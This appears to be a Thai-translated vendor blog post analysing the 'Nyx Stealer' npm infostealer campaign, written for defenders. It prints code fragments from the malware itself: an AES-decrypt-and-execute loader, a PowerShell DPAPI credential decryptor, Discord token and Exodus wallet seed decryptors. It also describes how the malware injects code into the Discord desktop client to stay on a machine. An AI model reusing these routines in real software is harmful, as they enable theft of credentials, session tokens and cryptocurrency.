TL; DR
ทีมวิจัยความปลอดภัยของ Xygeni ตรวจพบแคมเปญโจรกรรมข้อมูล npm ที่ซับซ้อน ซึ่งส่งผ่านแพ็กเกจที่เป็นอันตรายสองตัว: คอนโซลโลฟี่ และ เซลฟ์บอท-โลฟี่.
รุ่นล่าสุด (consolelofy@1.3.0) ฝังข้อมูลขนาด 216KB ที่เข้ารหัสด้วย AES ซึ่งจะถอดรหัสในระหว่างการทำงานและดำเนินการผ่านทาง vm.runInNewContext()เนื่องจากตรรกะที่เป็นอันตรายนั้นถูกเข้ารหัสไว้อย่างสมบูรณ์ เครื่องมือสแกนแบบคงที่ที่อาศัยการตรวจสอบสตริงจึงไม่สามารถสังเกตพฤติกรรมของมันได้จนกว่าจะถึงเวลาดำเนินการ
เมื่อถอดรหัสเสร็จแล้ว ข้อมูลที่ส่งมาจะถูกติดตราสินค้าภายใน นิกซ์ สตีลเลอร์ เป้าหมาย:
- โทเค็นการตรวจสอบสิทธิ์ Discord
- แหล่งเก็บข้อมูลประจำตัวเบราว์เซอร์มากกว่า 50 รายการ
- ส่วนขยายกระเป๋าเงินคริปโตเคอร์เรนซีมากกว่า 90 รายการ
- เซสชั่น Roblox, Instagram, Spotify, Steam, Telegram และ TikTok
- การคงอยู่ของไคลเอนต์เดสก์ท็อป Discord
มีการรายงานและยืนยันแล้วว่าเวอร์ชันทั้ง 20 ในทั้งสองแพ็กเกจเป็นมัลแวร์
ภาพรวมทางเทคนิคของ npm Infostealer นี้
แตกต่างจากมัลแวร์ที่ติดตั้งระหว่างการติดตั้งแบบดั้งเดิม แคมเปญนี้อาศัย... รันไทม์ แบบจำลองการถอดรหัส.
มี:
- ไม่มีเจตนาร้าย
preinstallorpostinstallhooks - ไม่มีการเรียกใช้งานเครือข่ายที่ชัดเจนในระหว่างการติดตั้ง
- ไม่มีตรรกะการเก็บรวบรวมข้อมูลประจำตัวแบบข้อความธรรมดา
โค้ดที่เป็นอันตรายจะทำงานเมื่อมีการนำเข้าโมดูล เนื้อหาที่เป็นอันตรายทั้งหมดถูกเข้ารหัสและจะปรากฏในหน่วยความจำเฉพาะเมื่อโปรแกรมทำงานเท่านั้น
การออกแบบนี้ออกแบบมาเพื่อหลีกเลี่ยงการตรวจจับระหว่างการติดตั้งแพ็กเกจโดยเฉพาะ
npm Infostealer นี้ทำงานอย่างไรในความเป็นจริง
ก่อนที่จะวิเคราะห์ว่า Nyx Stealer ขโมยอะไร เราต้องเข้าใจก่อนว่า วิธีการดำเนินการ.
ตรรกะที่เป็นอันตรายภายในโปรแกรมขโมยข้อมูล npm นี้มีรูปแบบที่สม่ำเสมอ:
โปรแกรมโหลดขนาดเล็กจะถอดรหัสข้อมูลขนาดใหญ่ที่ถูกเข้ารหัส และเรียกใช้งานแบบไดนามิกภายในบริบทของเครื่องเสมือน Node.js
การออกแบบนี้เป็นไปโดยเจตนา ผู้โจมตีไม่ได้ซ่อนฟังก์ชันการทำงานไว้เบื้องหลังการปกปิดข้อมูลเพียงอย่างเดียว แต่พวกเขากำลัง... ลบโค้ดที่เป็นอันตรายออกจากส่วนที่มองเห็นได้แบบคงที่โดยสิ้นเชิง.
แบบจำลองการดำเนินการระดับสูง
โดยสรุปแล้ว ตัวห่อหุ้มนี้ทำหน้าที่สี่อย่าง:
- สร้างคีย์ AES จากรหัสผ่านที่กำหนดไว้ล่วงหน้าโดยใช้ SHA-256
- ถอดรหัสข้อความเข้ารหัสเลขฐานสิบหกขนาดใหญ่โดยใช้ AES-256-CBC
- เรียกใช้ JavaScript ที่ถอดรหัสแล้วโดยใช้
vm.runInNewContext() - จัดเตรียมสภาพแวดล้อมจำลองที่ยังคงเปิดเผยฟังก์ชันการทำงานพื้นฐานอันทรงพลังในขณะรันไทม์
สรุปเทคนิคหลัก
| ตัวแทน | การกำหนดค่า / ค่า |
|---|---|
| ขั้นตอนวิธี | AES-CBC-256 |
| ที่มาของคีย์ | SHA-256 (รหัสผ่าน) |
| เวกเตอร์เริ่มต้น (IV) | 16 ไบต์ของ 0x00 |
| การกระทำ | vm.runInNewContext(decrypted, sandbox) |
ที่สำคัญคือ สภาพแวดล้อมจำลองนี้ครอบคลุมถึง:
requireprocessBuffer- จับเวลา
- การส่งออกโมดูล
หมายความว่าข้อมูลที่ถอดรหัสแล้วยังคงความสามารถอย่างเต็มรูปแบบดังต่อไปนี้:
- กระบวนการสร้าง
- อ่านและเขียนไฟล์
- โทรออกผ่านเครือข่าย
- แก้ไขแอปพลิเคชันในเครื่อง
นี่ไม่ใช่เครื่องเสมือนที่มีข้อจำกัด แต่เป็นเครื่องเสมือนที่ใช้เป็นเหมือนแท่นกระโดดสำหรับการประมวลผล
รูปแบบการเข้ารหัสขณะทำงาน (กลไกการทำงานหลัก)
เครื่องโหลดมีขนาดเล็ก
ร่างกายที่มุ่งร้ายนั้นไม่มีอยู่จริง
ด้านล่างนี้คือรูปแบบการทำงานที่พบภายในแพ็กเกจ:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } ทำไมเรื่องนี้
ข้อมูลที่ถอดรหัสแล้ว:
- ไม่ ไม่ มีอยู่ในรูปแบบข้อความธรรมดาภายในแพ็กเกจ npm
- มองไม่เห็นสำหรับคนธรรมดา
grepหรือการสแกนสตริงแบบคงที่ - จะปรากฏในหน่วยความจำเฉพาะตอนที่โปรแกรมทำงานเท่านั้น
- ทำงานด้วยความสามารถเต็มรูปแบบของรันไทม์ Node
การทำงานร่วมกันของ AES และการประมวลผล VM นี้เป็นตัวบ่งชี้พฤติกรรมที่ชัดเจนอย่างหนึ่ง npm infostealer พยายามหลีกเลี่ยงการตรวจสอบแบบคงที่.
กล่าวอีกนัยหนึ่ง:
หากคุณตรวจสอบโครงสร้างซอร์สโค้ดของแพ็กเกจ คุณจะไม่พบตัวขโมยโค้ด
คุณเห็นโปรแกรมถอดรหัสแล้ว
จะเกิดอะไรขึ้นหลังจากถอดรหัสเสร็จสิ้น
เมื่อเริ่มทำงานแล้ว Nyx Stealer จะเริ่มเก็บรวบรวมข้อมูลแบบขนานเป็นระลอกๆ
ขั้นตอนที่ 1: การดึงข้อมูลประจำตัวของเบราว์เซอร์
มัลแวร์:
- ดาวน์โหลดรันไทม์ Python จาก NuGet CDN
- ติดตั้งไลบรารีการเข้ารหัส
- ดึงข้อมูลจากแหล่งเก็บข้อมูลประจำตัวที่ใช้ Chromium
- ถอดรหัสข้อมูลลับที่ได้รับการปกป้องด้วย DPAPI
แทนที่จะคอมไพล์การเชื่อมต่อแบบเนทีฟ ระบบจะใช้ PowerShell เพื่อเรียกใช้ Windows DPAPI โดยตรง
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } แนวทางนี้:
- หลีกเลี่ยงข้อผิดพลาดจากการคอมไพล์
- ใช้ API การเข้ารหัสลับของ Windows ดั้งเดิม
- ผสานรวมเข้ากับเครื่องมือบริหารจัดการ
นี่คือการถอดรหัสข้อมูลประจำตัวระดับระบบปฏิบัติการ ไม่ใช่การดึงข้อมูลแบบอัตโนมัติ
คลื่นลูกที่ 2: การถอดรหัสโทเค็น Discord
ผู้ขโมยข้อมูลนั้นมีความรู้เกี่ยวกับโปรโตคอล มันเข้าใจรูปแบบโทเค็นที่เข้ารหัสของ Discord
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } ขั้นตอนการดำเนินงาน:
- ดึงรหัสหลักจาก Discord
Local State - ถอดรหัสคีย์หลักผ่าน DPAPI
- ถอดรหัสบล็อกโทเค็น AES-GCM
- ตรวจสอบความถูกต้องของโทเค็นกับ Discord API
- เพิ่มฟีเจอร์ด้วย Nitro, ป้ายรางวัล, ข้อมูลการเรียกเก็บเงิน
นี่ไม่ใช่การดัมพ์ข้อมูลประจำตัวทั่วไป แต่เป็นการโจรกรรมเซสชันที่รู้โปรโตคอล
คลื่นลูกที่ 3: การกำหนดเป้าหมายกระเป๋าเงินคริปโตเคอร์เรนซี
npm infostealer แสดงรายการดังต่อไปนี้:
- ส่วนขยายกระเป๋าเงินดิจิทัลสำหรับเบราว์เซอร์มากกว่า 90 รายการ
- กระเป๋าเงินดิจิทัลแบบตั้งโต๊ะ 27 ใบ
- เส้นทางกระเป๋าเงินเย็น
- ไฟล์เมล็ดพันธุ์ Exodus
ตัวอย่างการพยายามถอดรหัสเมล็ดพันธุ์:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } หากการเข้าถึงกระเป๋าเงินดิจิทัลสำเร็จ จะเกิดขึ้นทันทีและไม่สามารถย้อนกลับได้
นี่คือช่องทางการสร้างรายได้ที่มีมูลค่าสูงสุดของแคมเปญนี้
การคงอยู่ของข้อมูลผ่านการแทรกโค้ดบนเดสก์ท็อปของ Discord
หลังจากขโมยข้อมูลประจำตัวแล้ว Nyx Stealer จะพยายามคงอยู่ในระบบโดยการแก้ไขไฟล์ในเครื่อง ไม่ลงรอยกัน ลูกค้า
เป้าหมาย:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js ลำดับการปฏิบัติงาน
โปรแกรมขโมยข้อมูลจะดำเนินการตามขั้นตอนต่อไปนี้:
- ยุติกระบวนการ Discord ที่กำลังทำงานอยู่
- ค้นหาเวอร์ชัน Discord ที่ติดตั้งไว้ (Stable, Canary, PTB)
- เขียนทับ
discord_desktop_core/index.js - แทรกตรรกะเว็บฮุคที่ผู้โจมตีควบคุมได้
- รีสตาร์ท Discord
วิธีนี้จะช่วยให้การเชื่อมต่อ Discord ในอนาคตส่งโทเค็นการตรวจสอบสิทธิ์ใหม่โดยอัตโนมัติ
ที่สำคัญคือ การคงอยู่ของข้อมูลนี้ไม่ขึ้นอยู่กับงานที่กำหนดเวลาไว้หรือการแก้ไขรีจิสทรี แต่ใช้ประโยชน์จากการแก้ไขโค้ดในระดับแอปพลิเคชัน ซึ่งเป็นวิธีการที่แนบเนียนกว่า
ถึงแม้ว่าแพ็กเกจ npm ที่เป็นอันตรายจะถูกลบออกในภายหลัง แต่โปรแกรม Discord ก็ยังคงถูกบุกรุกอยู่ดี
การเปรียบเทียบทางเทคนิค: Selfbot ที่ถูกต้องตามกฎหมาย กับ npm Infostealer
| ตัวแทน | ห้องสมุดที่ถูกต้องตามกฎหมาย | Nyx npm Infostealer |
|---|---|---|
| การเข้ารหัสลับ | ไม่มี | ข้อมูลที่เข้ารหัส AES อย่างสมบูรณ์ |
| รันไทม์ VM | ไม่จำเป็นต้องใช้ | vm.runInNewContext การปฏิบัติ |
| การเข้าถึงข้อมูลประจำตัว | เฉพาะ Discord API เท่านั้น | เบราว์เซอร์, กระเป๋าเงินดิจิทัล, DPAPI |
| ดาวน์โหลดจากภายนอก | ไม่ | รันไทม์ Python ผ่าน NuGet |
| การติดตา | ไม่ | การแทรกโค้ดในไคลเอนต์ Discord |
| การสร้างรายได้ | ระบบอัตโนมัติของบอท | การขายต่อใบรับรอง |
เพียงแค่ชั้นการเข้ารหัสก็ทำให้แคมเปญนี้แตกต่างจากโปรเจกต์โอเพนซอร์สทั่วไปแล้ว
บอทอัตโนมัติของ Discord ที่ถูกต้องตามกฎหมายไม่มีเหตุผลที่จะต้องเข้ารหัสโค้ดทั้งหมด เรียกใช้ PowerShell เพื่อเข้าถึง DPAPI ดาวน์โหลดรันไทม์ภายนอก หรือแก้ไขส่วนภายในของแอปพลิเคชันบนเดสก์ท็อป เมื่อความสามารถเหล่านั้นปรากฏอยู่ในส่วนประกอบที่อ้างว่าช่วยทำให้การโต้ตอบกับ Discord เป็นไปโดยอัตโนมัติ ความไม่สอดคล้องกันทางสถาปัตยกรรมจึงกลายเป็นสิ่งที่มองข้ามไม่ได้
จากมุมมองของการตรวจสอบ ตัวขโมยข้อมูล npm นี้ทิ้งร่องรอยไว้ในหลายระดับ อย่างไรก็ตาม ตัวบ่งชี้ที่น่าเชื่อถือที่สุดไม่ใช่ URL ที่ตายตัวหรือเส้นทางไฟล์เฉพาะ เนื่องจากสิ่งเหล่านั้นสามารถเปลี่ยนแปลงได้ระหว่างเวอร์ชัน แต่สัญญาณที่คงทนถาวรคือโครงสร้าง
ในระดับแพ็กเกจ สัญญาณเตือนภัยที่ชัดเจนที่สุดคือการรวมกันของเพย์โหลดที่เข้ารหัสขนาดใหญ่และตัวห่อการถอดรหัสแบบเรียลไทม์ที่ทำงานทันทีผ่านทาง vm.runInNewContext()แม้ว่าการเข้ารหัสเพียงอย่างเดียวจะไม่ใช่เรื่องที่เป็นอันตรายโดยเนื้อแท้ แต่การใช้การถอดรหัส AES ตามด้วยการเรียกใช้ VM แบบไดนามิกภายในแพ็กเกจยูทิลิตี้ของ Discord นั้นเป็นเรื่องผิดปกติอย่างมาก
ในระดับโฮสต์ รูปแบบที่น่าสงสัย ได้แก่ กิจกรรมการถอดรหัส DPAPI ที่ไม่คาดคิด การสร้างกระบวนการใหม่จากบริบทการพึ่งพา Node.js และการแก้ไขไฟล์แอปพลิเคชันในเครื่องที่ไม่ควรถูกแก้ไขโดยไลบรารีของบุคคลที่สาม ในทำนองเดียวกัน ในระดับเครือข่าย การสื่อสารแบบ webhook ขาออกที่เริ่มต้นโดยการพึ่งพาการพัฒนาถือเป็นความผิดปกติที่มีนัยสำคัญอีกประการหนึ่ง
กล่าวอีกนัยหนึ่ง พื้นผิวการตรวจจับไม่ได้เป็นเพียงตัวบ่งชี้เดียวของการถูกบุกรุก แต่เป็นการเชื่อมโยงกันของการเข้ารหัส การดำเนินการในขณะรันไทม์ การเข้าถึงข้อมูลประจำตัว และพฤติกรรมการคงอยู่ของภัยคุกคาม
การตรวจจับและการลดผลกระทบด้วย Xygeni
มัลแวร์ขโมยข้อมูล npm นี้ถูกระบุโดย ระบบเตือนภัยมัลแวร์ล่วงหน้าของ Xygeni (MEW) โดยใช้การวิเคราะห์ความสัมพันธ์เชิงพฤติกรรมแบบหลายชั้น แทนที่จะเป็นการจับคู่ลักษณะเฉพาะแบบง่ายๆ
แทนที่จะค้นหาสตริงที่เป็นอันตรายที่รู้จัก MEW จะประเมินความผิดปกติเชิงโครงสร้างทั่วทั้งซอร์สโค้ด ในกรณีนี้ การตรวจจับเกิดขึ้นจากการบรรจบกันของสัญญาณหลายอย่าง ได้แก่ รูทีนการถอดรหัส AES ที่ฝังอยู่ในจุดเริ่มต้นของโมดูล การดำเนินการทันทีภายในบริบท VM และความไม่สอดคล้องกันอย่างชัดเจนระหว่างความสามารถกับเจตนา
ที่สำคัญคือ สัญญาณเหล่านี้เพียงอย่างเดียวไม่สามารถพิสูจน์เจตนาร้ายได้ แต่เมื่อวิเคราะห์ร่วมกันแล้ว จะเผยให้เห็นความพยายามที่จะปกปิดพฤติกรรมที่เกิดขึ้นจริง วิธีการแบบหลายชั้นนี้ช่วยลดการแจ้งเตือนที่ผิดพลาดได้อย่างมาก ในขณะเดียวกันก็สามารถระบุภัยคุกคามในห่วงโซ่อุปทานที่มีความน่าเชื่อถือสูงได้
ยิ่งไปกว่านั้น กรณีนี้ยังแสดงให้เห็นว่าเหตุใดการตรวจสอบเฉพาะในระหว่างการติดตั้งจึงไม่เพียงพอ ตรรกะที่เป็นอันตรายไม่ได้อยู่ในสคริปต์วงจรชีวิต มันจะทำงานก็ต่อเมื่อโมดูลโหลดเสร็จแล้ว และจะปรากฏให้เห็นก็ต่อเมื่อถูกถอดรหัสในหน่วยความจำแล้วเท่านั้น ดังนั้น การป้องกันที่มีประสิทธิภาพจึงต้องอาศัยการวิเคราะห์ที่คำนึงถึงการเข้ารหัส การจดจำรูปแบบพฤติกรรม และการตรวจสอบความสัมพันธ์อย่างต่อเนื่องนอกเหนือจากเหตุการณ์การติดตั้ง
การลบข้อมูลในรีจิสทรีเป็นการแก้ไขปัญหาเฉพาะหน้า การวิเคราะห์แบบเรียลไทม์เป็นการป้องกันล่วงหน้า
เหตุใด npm Infostealer นี้จึงมีความสำคัญ
Nyx Stealer แสดงให้เห็นถึงวิวัฒนาการเชิงโครงสร้างของมัลแวร์ที่ใช้ npm เป็นพื้นฐาน
ในอดีต มัลแวร์หลายชนิดอาศัยสคริปต์ที่มองเห็นได้ในระหว่างการติดตั้ง หรือจุดเชื่อมต่อที่เห็นได้ชัดสำหรับการขโมยข้อมูลประจำตัว แต่ในทางตรงกันข้าม แคมเปญนี้เข้ารหัสข้อมูลที่ส่งมา เลื่อนการประมวลผลไปเป็นช่วงเวลาทำงาน ใช้ API ของระบบปฏิบัติการที่ถูกต้อง และสร้างการคงอยู่ภายในแอปพลิเคชันที่เชื่อถือได้
ด้วยเหตุนี้ ผู้โจมตีจึงไม่จำเป็นต้องเจาะระบบโครงสร้างพื้นฐานของ npm เอง แต่การโจมตีจะสำเร็จได้เพราะการติดตั้งไลบรารีนั้นหมายถึงความไว้วางใจ นักพัฒนาซอฟต์แวร์จึงสันนิษฐานว่าการนำเข้าไลบรารีเป็นเรื่องปลอดภัย โดยเฉพาะอย่างยิ่งเมื่อมันปรากฏออกมาในรูปแบบของการดัดแปลงที่น่าเชื่อถือจากเครื่องมือยอดนิยม
เมื่อระบบนิเวศเติบโตขึ้นและมีการแตกแขนงออกไปมากมาย ขอบเขตความไว้วางใจโดยปริยายนั้นจึงกลายเป็นเป้าหมายที่ดึงดูดการโจมตีมากขึ้นเรื่อยๆ ดังนั้น การป้องกันการขโมยข้อมูล npm ในยุคปัจจุบันจึงต้องอาศัยการจดจำรูปแบบทางสถาปัตยกรรมมากกว่าการค้นหาสตริงคงที่
ท้ายที่สุดแล้ว แคมเปญนี้ตอกย้ำบทเรียนสำคัญประการหนึ่ง software supply chain securityภัยคุกคามที่อันตรายที่สุดไม่ใช่ภัยคุกคามที่ดูเหมือนมุ่งร้ายในตอนแรก แต่เป็นภัยคุกคามที่ดูเหมือนถูกต้องตามกฎหมายในเชิงโครงสร้าง จนกระทั่งการทำงานจริงเผยให้เห็นพฤติกรรมที่แท้จริงของมัน




